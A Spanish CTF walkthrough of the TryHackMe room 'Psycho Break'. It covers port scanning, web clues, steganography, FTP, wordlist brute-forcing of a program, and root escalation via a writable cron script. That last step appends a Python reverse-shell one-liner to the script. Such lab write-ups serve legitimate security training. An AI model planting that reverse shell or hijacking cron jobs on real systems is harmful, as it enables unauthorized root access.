This page looks best with JavaScript enabled

TryHackMe - Psycho Break

 •  ✍️ sckull

Psycho Break es una maquina de TryHackMe, es CTF Like por los multiples retos que se presentan.

Room

Titulo Psycho Break box_img_maker
Descripción Help Sebastian and his team of investigators to withstand the dangers that come ahead.
Puntos 208
Dificultad Facil
Maker

shafdo

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), ssh (2) y el puerto http (80) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Nmap 7.80 scan initiated Wed Dec  9 21:22:51 2020 as: nmap -o allPorts psycho.thm
Nmap scan report for psycho.thm (10.10.253.212)
Host is up (0.28s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

# Nmap done at Wed Dec  9 21:23:31 2020 -- 1 IP address (1 host up) scanned in 39.29 seconds
# Nmap 7.80 scan initiated Wed Dec  9 21:23:49 2020 as: nmap -p21,22,80 -sV -sC -o servicePorts psycho.thm
Nmap scan report for psycho.thm (10.10.253.212)
Host is up (0.35s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5a
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:2f:fb:3b:f3:95:c3:c6:df:31:d6:e0:9e:99:92:42 (RSA)
|   256 92:24:36:91:7a:db:62:d2:b9:bb:43:eb:58:9b:50:14 (ECDSA)
|_  256 34:04:df:13:54:21:8d:37:7f:f8:0a:65:93:47:75:d0 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome To Becon Mental Hospital
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec  9 21:24:09 2020 -- 1 IP address (1 host up) scanned in 19.76 seconds

HTTP

Encontramos una pagina web en el puerto 80.
image

En la pagina inicial encontramos un comentario con una direccion.

1
<!-- Sebastian sees a path through the darkness which leads to a room => /sadistRoom -->

En la nueva direccion se muestra un comentario en HTML y tambien al presionar el “link” mostrado en la pagina salta una alerta que muestra una “llave”, esa misma llave se encuentra en un archivo de javascript junto con una nueva direccion /lockerRoom/.

1
<!-- To find more about Sadist visit https://theevilwithin.fandom.com/wiki/Sadist -->

En esta nueva direccion encontramos un mensaje “codificado” y una nueva direccion en un “link” hacia un “mapa”.
image

Utilizando guballa.de logramos obtener el texto codificado en vigenere.
image

Ingresamos al mapa y nos pregunta la llave, ingresamos el texto decodificado y nos muestra direcciones.
image

En Safe Heaven encontramos solamente imagenes.
image

Y en el codigo fuente un comentario.

1
<!-- I think I'm having a terrible nightmare. Search through me and find it ... -->

En Abandoned Room pide una llave.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos en Safe Heaven.

1
2
3
4
5
kali@kali:~/thm/psychobreak$ gobuster dir -u http://psycho.thm/SafeHeaven/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q -t 50 -x php,html,txt
/imgs (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/keeper (Status: 200)

Encontramos una pagina la cual nos muestra una direccion hacia otra.
image

En esta ultima nos pide que ingresemos el lugar exacto de la imagen presentada.
image

Utilizamos Google imagenes para poder subir y obtener la respuesta. Al ingresar la respuesta nos muestra una llave nueva, la cual ingresamos en /abandonedRoom/.
image

Nos muestra una nueva pagina y muestra otra direccion nueva.
image

En la direccion nueva nos muestra un timer y un mensaje RUN. RUN. Runn Get out of here !!!. En el codigo fuente de esta pagina encontramos dos comentarios.
image

El primer comentario habla sobre una “shell” dentro de la pagina.

1
2
3
<!-- There is something called "shell" on current page maybe that'll help you to get out of here !!!-->

<!-- To find more about the Spider Lady visit https://theevilwithin.fandom.com/wiki/Laura_(Creature) -->

Le pasamos ?shell=id en la pagina actual y retorno un comentario en el cual indica que el comando no esta permitido.
image

Realizamos una pequeña enumeracion y encontramos una nueva direccion en la cual no hemos estado y se muestran varios archivos.
image

image

Encontramos un archivo de texto y un archivo zip.

You made it. Escaping from Laura is not easy, good job .... 

Dentro del archivo zip encontramos un archivo de texto y una imagen, este ultimo al parecer es un archivo zip y no de imagen.

1
2
3
4
5
6
7
8
9
kali@kali:~/thm/psychobreak$ cat helpme.txt 

From [... snip ...],

Who ever sees this message "HELP Me". Ruvik locked me up in this cell. Get the key on the table and unlock this cell. I'll tell you what happened when I am out of 
this cell.

kali@kali:~/thm/psychobreak$ file Table.jpg 
Table.jpg: Zip archive data, at least v2.0 to extract

STEGO

En el archivo zip (Table.jpg) encontramos una imagen un archivo de audio que parece ser codigo morse.

1
2
3
4
kali@kali:~/thm/psychobreak$ unzip Table.jpg
Archive:  Table.jpg
  inflating: Joseph_Oda.jpg          
  inflating: key.wav

Utilizamos morsecode.world para obtener el texto.
image

Utilizamos el texto encontrado para extraer informacion de la imagen con steghide, donde encontramos credenciales para el servicio FTP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
kali@kali:~/thm/psychobreak$ steghide extract -sf Joseph_Oda.jpg 
Enter passphrase: 
wrote extracted data to "thankyou.txt".
kali@kali:~/thm/psychobreak$ cat thankyou.txt 

From [... snip ...],

Thank you so much for freeing me out of this cell. Ruvik is nor good, he told me that his going to kill sebastian and next would be me. You got to help 
Sebastian ... I think you might find Sebastian at the Victoriano Estate. This note I managed to grab from Ruvik might help you get inn to the Victoriano Estate. 
But for some reason there is my name listed on the note which I don't have a clue.

	   --------------------------------------------
        //						\\
	||	(NOTE) FTP Details			||
	||      ==================			||
	||						||
	||	USER : [... snip ...]				||
	||	PASSWORD : [... snip ...]		||
	||						||
	\\						//
	   --------------------------------------------
	

Good luck, Be carefull !!!
kali@kali:~/thm/psychobreak$

FTP

Ingresamos al servicio FTP con las credenciales encontradas y vemos dos archivos, uno de ellos es un ejecutable, el segundo parece ser un wordlist.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
ftp> pwd
257 "/" is the current directory
ftp> ls -lah
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   2 0        0            4.0k Aug 13 15:20 .
drwxr-xr-x   2 0        0            4.0k Aug 13 15:20 ..
-rwxr-xr-x   1 joseph   joseph      11.1M Aug 13 15:12 program
-rw-r--r--   1 joseph   joseph        974 Aug 13 15:20 random.dic
226 Transfer complete
ftp> get program
local: program remote: program
200 PORT command successful
150 Opening BINARY mode data connection for program (11641688 bytes)
226 Transfer complete
11641688 bytes received in 70.65 secs (160.9213 kB/s)
ftp> get random.dic
local: random.dic remote: random.dic
200 PORT command successful
150 Opening BINARY mode data connection for random.dic (974 bytes)
226 Transfer complete
974 bytes received in 0.00 secs (6.6826 MB/s)
ftp> exit
221 Goodbye.
kali@kali:~/thm/psychobreak$ file program 
program: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=294d1f19a085a730da19a6c55788ec08c2187039, stripped
kali@kali:~/thm/psychobreak$ head random.dic 
000000
111111
123123
123321
1234
12345
123456
1234567
12345678
123456789
kali@kali:~/thm/psychobreak$

Al ejecutar el programa nos pide una “palabra”. Utilizando el diccionario y bash logramos obtener la palabra correcta y nos muestra el siguiente mensaje.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
kali@kali:~/thm/psychobreak/ftp$ while read line; do ./program "$line" && echo $line; done < random.dic 
000000 => Incorrect

000000

[... snip ... ]

[... snip ... ] => Correct

Well Done !!!
Decode This => 55 444 3 6 2 66 7777 7 2 7777 7777 9 666 777 3 444 7777 7777 666 7777 8 777 2 66 4 33

El mensaje incluye unos numeros lo que parecen ser un mensaje codificado con numeros que representan un teclado de telefono.
image

Utilizamos dcode.fr - multi-tap phone para obtener el texto.

KIDMAN - USER

Con la palabra y el mensaje decodificado intentamos ingresar mediante el servicio SSH con estas “credenciales”, logrando obtener una shell y nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion al archivo /etc/crontab y encontramos un cron que se ejecuta cada dos minutos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
kidman@evilwithin:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

*/2 * * * * root python3 /var/.the_eye_of_ruvik.py

El cron ejecuta un archivo de python, el cual escribe una “oracion” dentro del archivo .the_eye.txt. Tenemos permisos de escritura en el archivo de python por lo que lo modificamos para ejecutar una shell inversa.

1
2
3
4
5
6
7
8
9
.the_eye_of_ruvik.py
#!/usr/bin/python3

import subprocess
import random

stuff = ["I am watching you.","No one can hide from me.","Ruvik ...","No one shall hide from me","No one can escape from me"]
sentence = "".join(random.sample(stuff,1))
subprocess.call("echo %s > /home/kidman/.the_eye.txt"%(sentence),shell=True)
1
2
subprocess.call("echo %s > /home/kidman/.the_eye.txt"%(sentence),shell=True)
import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.1.1.1",1338));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system("/bin/sh -i")

Logramos obtener una shell con el usuario root y nuestra flag root.txt.
image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe